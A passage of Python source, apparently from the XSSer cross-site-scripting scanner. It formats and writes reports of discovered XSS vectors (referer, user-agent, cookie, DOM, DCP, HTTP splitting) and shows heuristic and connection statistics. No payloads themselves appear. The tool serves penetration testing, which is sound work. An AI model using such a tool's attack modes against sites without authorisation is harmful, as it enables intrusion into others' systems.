  2830. if self.options.reversecheck:
  2831. self.report("You have found: [ " + str(len(self.hash_found)) + " ] XSS vector(s)! -> [100% VULNERABLE]\n")
  2832. else:
  2833. self.report("You have found: [ " + str(len(self.hash_found)) + " ] possible (without --reverse-check) XSS vector(s)!\n")
  2834. self.report("---------------------" + "\n")
  2835. if self.options.fileoutput:
  2836. fout = open("XSSreport.raw", "w") # write better than append
  2837. for line in self.hash_found:
  2838. if self.options.heuristic or self.options.hash: # not final attack possible when checking
  2839. pass
  2840. else:
  2841. attack_url = self.apply_postprocessing(line[0], line[1], line[2], line[3], line[4], line[5], line[6])
  2842. if line[2] == "XSR":
  2843. self.xsr_found = self.xsr_found + 1
  2844. if len(self.hash_found) < 11:
  2845. if line[4]: # when query string
  2846. self.report("[+] Target:", line[6] + " | " + line[4])
  2847. else:
  2848. self.report("[+] Target:", line[6])
  2849. self.report("[+] Vector: [ " + str(line[2]) + " ]")
  2850. self.report("[!] Method: Referer Injection")
  2851. self.report("[*] Hash:", line[3])
  2852. self.report("[*] Payload:", str(Curl.referer))
  2853. self.report("[!] Status: XSS FOUND!", "\n", '-'*50, "\n")
  2854. if self.options.fileoutput:
  2855. fout.write("="*75)
  2856. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  2857. fout.write("="*75 + "\n\n")
  2858. for h in self.hash_found:
  2859. if h[2] == "XSR":
  2860. if h[4]:
  2861. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Referer Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[4]) + "\n\n[!] Status: XSS FOUND!\n\n")
  2862. else:
  2863. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Referer Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FOUND!\n\n")
  2864. fout.write("="*75 + "\n\n")
  2865. elif line[2] == "XSA":
  2866. self.xsa_found = self.xsa_found + 1
  2867. if len(self.hash_found) < 11:
  2868. if line[4]: # when query string
  2869. self.report("[+] Target:", line[6] + " | " + line[4])
  2870. else:
  2871. self.report("[+] Target:", line[6])
  2872. self.report("[+] Vector: [ " + str(line[2]) + " ]")
  2873. self.report("[!] Method: User-Agent Injection")
  2874. self.report("[*] Hash:", line[3])
  2875. self.report("[*] Payload:", str(Curl.agent))
  2876. self.report("[!] Status: XSS FOUND!", "\n", '-'*50, "\n")
  2877. if self.options.fileoutput:
  2878. fout.write("="*75)
  2879. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  2880. fout.write("="*75 + "\n\n")
  2881. for h in self.hash_found:
  2882. if h[2] == "XSA":
  2883. if h[4]:
  2884. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: User-Agent Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[4]) + "\n\n[!] Status: XSS FOUND!\n\n")
  2885. else:
  2886. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: User-Agent Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FOUND!\n\n")
  2887. fout.write("="*75 + "\n\n")
  2888. elif line[2] == "COO":
  2889. self.coo_found = self.coo_found + 1
  2890. if len(self.hash_found) < 11:
  2891. if line[4]: # when query string
  2892. self.report("[+] Target:", line[6] + " | " + line[4])
  2893. else:
  2894. self.report("[+] Target:", line[6])
  2895. self.report("[+] Vector: [ " + str(line[2]) + " ]")
  2896. self.report("[!] Method: Cookie Injection")
  2897. self.report("[*] Hash:", line[3])
  2898. self.report("[*] Payload:", str(Curl.cookie))
  2899. self.report("[!] Status: XSS FOUND!", "\n", '-'*50, "\n")
  2900. if self.options.fileoutput:
  2901. fout.write("="*75)
  2902. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  2903. fout.write("="*75 + "\n\n")
  2904. for h in self.hash_found:
  2905. if h[2] == "COO":
  2906. if h[4]:
  2907. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Cookie Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[4]) + "\n\n[!] Status: XSS FOUND!\n\n")
  2908. else:
  2909. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: Cookie Injection" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Status: XSS FOUND!\n\n")
  2910. fout.write("="*75 + "\n\n")
  2911. elif line[1] == "[Data Control Protocol Injection]":
  2912. self.dcp_found = self.dcp_found + 1
  2913. if len(self.hash_found) < 11:
  2914. if line[4]: # when query string
  2915. self.report("[+] Target:", line[6] + " | " + line[4])
  2916. else:
  2917. self.report("[+] Target:", line[6])
  2918. self.report("[+] Vector: [ " + str(line[2]) + " ]")
  2919. self.report("[!] Method: DCP")
  2920. self.report("[*] Hash:", line[3])
  2921. self.report("[*] Payload:", line[0])
  2922. self.report("[!] Vulnerable: DCP (Data Control Protocol)")
  2923. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  2924. self.report("[*] Final Attack:", attack_url)
  2925. self.report("[!] Status: XSS FOUND!", "\n", '-'*50, "\n")
  2926. if self.options.fileoutput:
  2927. fout.write("="*75)
  2928. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  2929. fout.write("="*75 + "\n\n")
  2930. for h in self.hash_found:
  2931. if h[4]:
  2932. if h[1] == "[Data Control Protocol Injection]":
  2933. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  2934. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DCP" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DCP (Data Control Protocol)" + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
  2935. else:
  2936. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DCP" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DCP (Data Control Protocol)" + "\n\n[!] Status: XSS FOUND!\n\n")
  2937. else:
  2938. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  2939. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DCP" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DCP (Data Control Protocol)" + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
  2940. else:
  2941. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DCP" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DCP (Data Control Protocol)" + "\n\n[!] Status: XSS FOUND!\n\n")
  2942. fout.write("="*75 + "\n\n")
  2943. elif line[1] == "[Document Object Model Injection]":
  2944. self.dom_found = self.dom_found + 1
  2945. if len(self.hash_found) < 11:
  2946. if line[4]: # when query string
  2947. self.report("[+] Target:", line[6] + " | " + line[4])
  2948. else:
  2949. self.report("[+] Target:", line[6])
  2950. self.report("[+] Vector: [ " + str(line[2]) + " ]")
  2951. self.report("[!] Method: DOM")
  2952. self.report("[*] Hash:", line[3])
  2953. self.report("[*] Payload:", line[0])
  2954. self.report("[!] Vulnerable: DOM (Document Object Model)")
  2955. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  2956. self.report("[*] Final Attack:", attack_url)
  2957. self.report("[!] Status: XSS FOUND!", "\n", '-'*50, "\n")
  2958. if self.options.fileoutput:
  2959. fout.write("="*75)
  2960. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  2961. fout.write("="*75 + "\n\n")
  2962. for h in self.hash_found:
  2963. if h[1] == "[Document Object Model Injection]":
  2964. if h[4]:
  2965. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  2966. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DOM" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DOM (Document Object Model)" + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
  2967. else:
  2968. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DOM" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DOM (Document Object Model)" + "\n\n[!] Status: XSS FOUND!\n\n")
  2969. else:
  2970. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  2971. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DOM" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DOM (Document Object Model)" + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
  2972. else:
  2973. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: DOM" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "DOM (Document Object Model)" + "\n\n[!] Status: XSS FOUND!\n\n")
  2974. fout.write("="*75 + "\n\n")
  2975. elif line[1] == "[Induced Injection]":
  2976. self.httpsr_found = self.httpsr_found +1
  2977. if len(self.hash_found) < 11:
  2978. if line[4]: # when query string
  2979. self.report("[+] Target:", line[6] + " | " + line[4])
  2980. else:
  2981. self.report("[+] Target:", line[6])
  2982. self.report("[+] Vector: [ " + str(line[2]) + " ]")
  2983. self.report("[!] Method: INDUCED")
  2984. self.report("[*] Hash:", line[3])
  2985. self.report("[*] Payload:", line[0])
  2986. self.report("[!] Vulnerable: HTTPsr ( HTTP Splitting Response)")
  2987. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  2988. self.report("[*] Final Attack:", attack_url)
  2989. self.report("[!] Status: XSS FOUND!", "\n", '-'*50, "\n")
  2990. if self.options.fileoutput:
  2991. fout.write("="*75)
  2992. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  2993. fout.write("="*75 + "\n\n")
  2994. for h in self.hash_found:
  2995. if h[4]:
  2996. if h[1] == "[Induced Injection]":
  2997. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  2998. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: INDUCED" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "HTTPsr ( HTTP Splitting Response)" + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
  2999. else:
  3000. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: INDUCED" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "HTTPsr ( HTTP Splitting Response)" + "\n\n[!] Status: XSS FOUND!\n\n")
  3001. else:
  3002. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3003. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: INDUCED" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "HTTPsr ( HTTP Splitting Response)" + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
  3004. else:
  3005. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[2]) + " ]\n\n[!] Method: INDUCED" + "\n[*] Hash: " + str(h[3]) + " \n\n[*] Payload: \n\n " + str(h[0]) + "\n\n[!] Vulnerable: " + "HTTPsr ( HTTP Splitting Response)" + "\n\n[!] Status: XSS FOUND!\n\n")
  3006. fout.write("="*75 + "\n\n")
  3007. elif line[1] == "[hashing check]":
  3008. if len(self.hash_found) < 11:
  3009. if line[4]:
  3010. self.report("[+] Target:", line[6] + " | " + line[4])
  3011. else:
  3012. self.report("[+] Target:", line[6])
  3013. self.report("[+] Vector: [ " + str(line[3]) + " ]")
  3014. self.report("[!] Method:", line[2])
  3015. self.report("[*] Payload:", line[5])
  3016. self.report("[!] Status: HASH FOUND!", "\n", '-'*50, "\n")
  3017. if self.options.fileoutput:
  3018. fout.write("="*75)
  3019. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3020. fout.write("="*75 + "\n\n")
  3021. for h in self.hash_found:
  3022. if h[1] == "[hashing check]":
  3023. if h[4]:
  3024. fout.write("[+] Target: " + str(h[6]) + " | " + str(h[4]) + "\n[+] Vector: [ " + str(h[3]) + " ]\n\n[!] Method: hashing check" + " \n\n[*] Payload: \n\n " + str(h[5]) + "\n\n[!] Status: HASH FOUND!\n\n")
  3025. else:
  3026. fout.write("[+] Target: " + str(h[6]) + "\n[+] Vector: [ " + str(h[3]) + " ]\n\n[!] Method: hashing check" + " \n\n[*] Payload: \n\n " + str(h[5]) + "\n\n[!] Status: HASH FOUND!\n\n")
  3027. fout.write("="*75 + "\n\n")
  3028. elif line[1] == "[manual_injection]":
  3029. self.manual_found = self.manual_found + 1
  3030. if len(self.hash_found) < 11:
  3031. if line[4]: # when query string
  3032. self.report("[+] Target:", line[6] + " | " + line[4])
  3033. else:
  3034. self.report("[+] Target:", line[6])
  3035. self.report("[+] Vector: [ " + str(line[2]) + " ]")
  3036. self.report("[!] Method: MANUAL")
  3037. self.report("[*] Hash:", line[3])
  3038. self.report("[*] Payload:", line[0])
  3039. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3040. self.report("[*] Final Attack:", attack_url)
  3041. self.report("[!] Status: XSS FOUND!", "\n", '-'*50, "\n")
  3042. if self.options.fileoutput:
  3043. fout.write("="*75)
  3044. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3045. fout.write("="*75 + "\n\n")
  3046. for line in self.hash_found:
  3047. if line[4]:
  3048. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3049. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
  3050. else:
  3051. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Status: XSS FOUND!\n\n")
  3052. else:
  3053. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3054. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
  3055. else:
  3056. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: MANUAL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Status: XSS FOUND!\n\n")
  3057. fout.write("="*75 + "\n\n")
  3058. elif line[1] == "[Heuristic test]":
  3059. if len(self.hash_found) < 11:
  3060. if line[4]:
  3061. self.report("[+] Target:", line[6] + " | " + line[4])
  3062. else:
  3063. self.report("[+] Target:", line[6])
  3064. self.report("[+] Vector: [ " + str(line[3]) + " ]")
  3065. self.report("[!] Method:", line[2])
  3066. self.report("[*] Payload:", line[5])
  3067. self.report("[!] Status: NOT FILTERED!", "\n", '-'*50, "\n")
  3068. if self.options.fileoutput:
  3069. fout.write("="*75)
  3070. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3071. fout.write("="*75 + "\n\n")
  3072. for line in self.hash_found:
  3073. if line[4]:
  3074. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[3]) + " ]\n\n[!] Method: heuristic" + " \n\n[*] Payload: \n\n " + str(line[5]) + "\n\n[!] Status: NOT FILTERED!\n\n")
  3075. else:
  3076. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[3]) + " ]\n\n[!] Method: heuristic" + " \n\n[*] Payload: \n\n " + str(line[5]) + "\n\n[!] Status: NOT FILTERED!\n\n")
  3077. fout.write("="*75 + "\n\n")
  3078. else:
  3079. self.auto_found = self.auto_found + 1
  3080. if len(self.hash_found) < 11:
  3081. if line[4]: # when query string
  3082. self.report("[+] Target:", line[6] + " | " + line[4])
  3083. else:
  3084. self.report("[+] Target:", line[6])
  3085. self.report("[+] Vector: [ " + str(line[2]) + " ]")
  3086. self.report("[!] Method: URL")
  3087. self.report("[*] Hash:", line[3])
  3088. self.report("[*] Payload:", line[0])
  3089. self.report("[!] Vulnerable:", line[1])
  3090. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3091. self.report("[*] Final Attack:", attack_url)
  3092. self.report("[!] Status: XSS FOUND!", "\n", '-'*50, "\n")
  3093. if self.options.fileoutput:
  3094. fout.write("="*75)
  3095. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3096. fout.write("="*75 + "\n\n")
  3097. for line in self.hash_found:
  3098. if line[4]:
  3099. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3100. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
  3101. else:
  3102. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND!\n\n")
  3103. else:
  3104. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3105. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
  3106. else:
  3107. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND!\n\n")
  3108. fout.write("="*75 + "\n\n")
  3109. if self.options.fileoutput:
  3110. fout.close()
  3111. if self.options.fileoutput and not self.options.filexml:
  3112. self.report("[Info] Generating report: [ XSSreport.raw ]\n")
  3113. self.report("-"*25+"\n")
  3114. if self.options.fileoutput and self.options.filexml:
  3115. self.report("[Info] Generating report: [ XSSreport.raw ] | Exporting results to: [ " + str(self.options.filexml) + " ] \n")
  3116. self.report("-"*25+"\n")
  3117. if len(self.hash_found) > 10 and not self.options.fileoutput: # write results fo file when large output (white magic!)
  3118. if not self.options.filexml:
  3119. self.report("[Info] Aborting large screen output. Generating report: [ XSSreport.raw ]\n")
  3120. self.report("-"*25+"\n")
  3121. fout = open("XSSreport.raw", "w") # write better than append
  3122. fout.write("="*75)
  3123. fout.write("\n" + "XSSer Security Report: " + str(datetime.datetime.now()) + "\n")
  3124. fout.write("="*75 + "\n\n")
  3125. for line in self.hash_found:
  3126. if line[4]:
  3127. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3128. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
  3129. else:
  3130. fout.write("[+] Target: " + str(line[6]) + " | " + str(line[4]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND!\n\n")
  3131. else:
  3132. if self.options.finalpayload or self.options.finalremote or self.options.doss or self.options.dos or self.options.b64:
  3133. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[*] Final Attack:\n\n " + str(attack_url) + "\n\n[!] Status: XSS FOUND!\n\n")
  3134. else:
  3135. fout.write("[+] Target: " + str(line[6]) + "\n[+] Vector: [ " + str(line[2]) + " ]\n\n[!] Method: URL" + "\n[*] Hash: " + str(line[3]) + " \n\n[*] Payload: \n\n " + str(line[0]) + "\n\n[!] Vulnerable: " + line[1] + "\n\n[!] Status: XSS FOUND!\n\n")
  3136. fout.write("="*75 + "\n\n")
  3137. fout.close()
  3138. else:
  3139. self.report("[Info] Exporting results to: [ " + str(self.options.filexml) + " ]\n")
  3140. self.report("-"*25+"\n")
  3141. # heuristic always with statistics
  3142. if self.options.heuristic:
  3143. heuris_semicolon_total_found = self.heuris_semicolon_found + self.heuris_une_semicolon_found + self.heuris_dec_semicolon_found
  3144. heuris_backslash_total_found = self.heuris_backslash_found + self.heuris_une_backslash_found + self.heuris_dec_backslash_found
  3145. heuris_slash_total_found = self.heuris_slash_found + self.heuris_une_slash_found + self.heuris_dec_slash_found
  3146. heuris_minor_total_found = self.heuris_minor_found + self.heuris_une_minor_found + self.heuris_dec_minor_found
  3147. heuris_mayor_total_found = self.heuris_mayor_found + self.heuris_une_mayor_found + self.heuris_dec_mayor_found
  3148. heuris_doublecolon_total_found = self.heuris_doublecolon_found + self.heuris_une_doublecolon_found + self.heuris_dec_doublecolon_found
  3149. heuris_colon_total_found = self.heuris_colon_found + self.heuris_une_colon_found + self.heuris_dec_colon_found
  3150. heuris_equal_total_found = self.heuris_equal_found + self.heuris_une_equal_found + self.heuris_dec_equal_found
  3151. total_heuris_found = heuris_semicolon_total_found + heuris_backslash_total_found + heuris_slash_total_found + heuris_minor_total_found + heuris_mayor_total_found + heuris_doublecolon_total_found + heuris_colon_total_found + heuris_equal_total_found
  3152. total_heuris_params = total_heuris_found + self.heuris_semicolon_found + self.heuris_backslash_found + self.heuris_slash_found + self.heuris_minor_found + self.heuris_mayor_found + self.heuris_doublecolon_found + self.heuris_colon_found + self.heuris_equal_found
  3153. total_heuris_notfound = self.heuris_semicolon_notfound + self.heuris_backslash_notfound + self.heuris_slash_notfound + self.heuris_minor_notfound + self.heuris_mayor_notfound + self.heuris_doublecolon_notfound + self.heuris_colon_notfound + self.heuris_equal_notfound
  3154. if total_heuris_notfound > 0: # not shown when not found
  3155. self.options.statistics = True
  3156. # some statistics reports
  3157. if self.options.statistics:
  3158. # heuristic test results
  3159. if self.options.heuristic:
  3160. self.report("\n"+'='*75)
  3161. self.report("[+] Heuristics:")
  3162. self.report('='*75)
  3163. test_time = datetime.datetime.now() - self.time
  3164. self.report("\n" + '-'*50)
  3165. self.report("Test Time Duration: ", test_time)
  3166. self.report('-'*50 )
  3167. total_connections = total_heuris_found + total_heuris_notfound
  3168. self.report("Total fuzzed:", total_connections)
  3169. self.report('-'*75)
  3170. self.report(' ', " <FILTERED!>", " <NOT FILTERED!>", " =" , " ASCII", "+", "UNE/HEX", "+", "DEC")
  3171. # semicolon results
  3172. self.report('; ', " ", self.heuris_semicolon_notfound, " ",
  3173. heuris_semicolon_total_found, " ",
  3174. self.heuris_semicolon_found, " ",
  3175. self.heuris_une_semicolon_found, " ",
  3176. self.heuris_dec_semicolon_found)
  3177. # backslash results
  3178. self.report('\\ ', " ", self.heuris_backslash_notfound, " ",
  3179. heuris_backslash_total_found, " ",
  3180. self.heuris_backslash_found, " ",
  3181. self.heuris_une_backslash_found, " ",
  3182. self.heuris_dec_backslash_found)
  3183. # slash results
  3184. self.report("/ ", " ", self.heuris_slash_notfound, " ",
  3185. heuris_slash_total_found, " ",
  3186. self.heuris_slash_found, " ",
  3187. self.heuris_une_slash_found, " ",
  3188. self.heuris_dec_slash_found)
  3189. # minor results
  3190. self.report("< ", " ", self.heuris_minor_notfound, " ",
  3191. heuris_minor_total_found, " ",
  3192. self.heuris_minor_found, " ",
  3193. self.heuris_une_minor_found, " ",
  3194. self.heuris_dec_minor_found)
  3195. # mayor results
  3196. self.report("> ", " ", self.heuris_mayor_notfound, " ",
  3197. heuris_mayor_total_found, " ",
  3198. self.heuris_mayor_found, " ",
  3199. self.heuris_une_mayor_found, " ",
  3200. self.heuris_dec_mayor_found)
  3201. # doublecolon results
  3202. self.report('" ', " ", self.heuris_doublecolon_notfound, " ",
  3203. heuris_doublecolon_total_found, " ",
  3204. self.heuris_doublecolon_found, " ",
  3205. self.heuris_une_doublecolon_found, " ",
  3206. self.heuris_dec_doublecolon_found)
  3207. # colon results
  3208. self.report("' ", " ", self.heuris_colon_notfound, " ",
  3209. heuris_colon_total_found, " ",
  3210. self.heuris_colon_found, " ",
  3211. self.heuris_une_colon_found, " ",
  3212. self.heuris_dec_colon_found)
  3213. # equal results
  3214. self.report("= ", " ", self.heuris_equal_notfound, " ",
  3215. heuris_equal_total_found, " ",
  3216. self.heuris_equal_found, " ",
  3217. self.heuris_une_equal_found, " ",
  3218. self.heuris_dec_equal_found)
  3219. self.report('-'*75)
  3220. try:
  3221. _accur = total_heuris_found * 100 / total_heuris_params
  3222. except ZeroDivisionError:
  3223. _accur = 0
  3224. self.report('Target(s) Filtering Accur: %s %%' % _accur)
  3225. self.report('-'*75)
  3226. # statistics block
  3227. if len(self.hash_found) + len(self.hash_notfound) == 0:
  3228. pass
  3229. if self.options.heuristic:
  3230. pass
  3231. else:
  3232. self.report('='*75)
  3233. self.report("[+] Statistics:")
  3234. self.report('='*75)
  3235. test_time = datetime.datetime.now() - self.time
  3236. self.report("\n" + '-'*50)
  3237. self.report("Test Time Duration: ", test_time)
  3238. self.report('-'*50 )
  3239. total_connections = self.success_connection + self.not_connection + self.forwarded_connection + self.other_connection
  3240. self.report("Total Connections:", total_connections)
  3241. self.report('-'*25)
  3242. self.report("200-OK:" , self.success_connection , "|", "404:" ,
  3243. self.not_connection , "|" , "503:" ,
  3244. self.forwarded_connection , "|" , "Others:",
  3245. self.other_connection)
  3246. try:
  3247. _accur = self.success_connection * 100 / total_connections
  3248. except ZeroDivisionError:
  3249. _accur = 0
  3250. self.report("Connec: %s %%" % _accur)
  3251. self.report('-'*50)
  3252. total_payloads = self.check_positives + self.manual_injection + self.auto_injection + self.dcp_injection + self.dom_injection + self.xsa_injection + self.xsr_injection + self.coo_injection
  3253. self.report("Total Payloads:", total_payloads)
  3254. self.report('-'*25)
  3255. self.report("Checker:", self.check_positives, "|", "Manual:",
  3256. self.manual_injection, "|" , "Auto:" ,
  3257. self.auto_injection ,"|", "DCP:",
  3258. self.dcp_injection, "|", "DOM:", self.dom_injection,
  3259. "|", "Induced:", self.httpsr_injection, "|" , "XSR:",
  3260. self.xsr_injection, "|", "XSA:",
  3261. self.xsa_injection , "|", "COO:",
  3262. self.coo_injection)
  3263. self.report('-'*50)
  3264. self.report("Total Injections:" ,
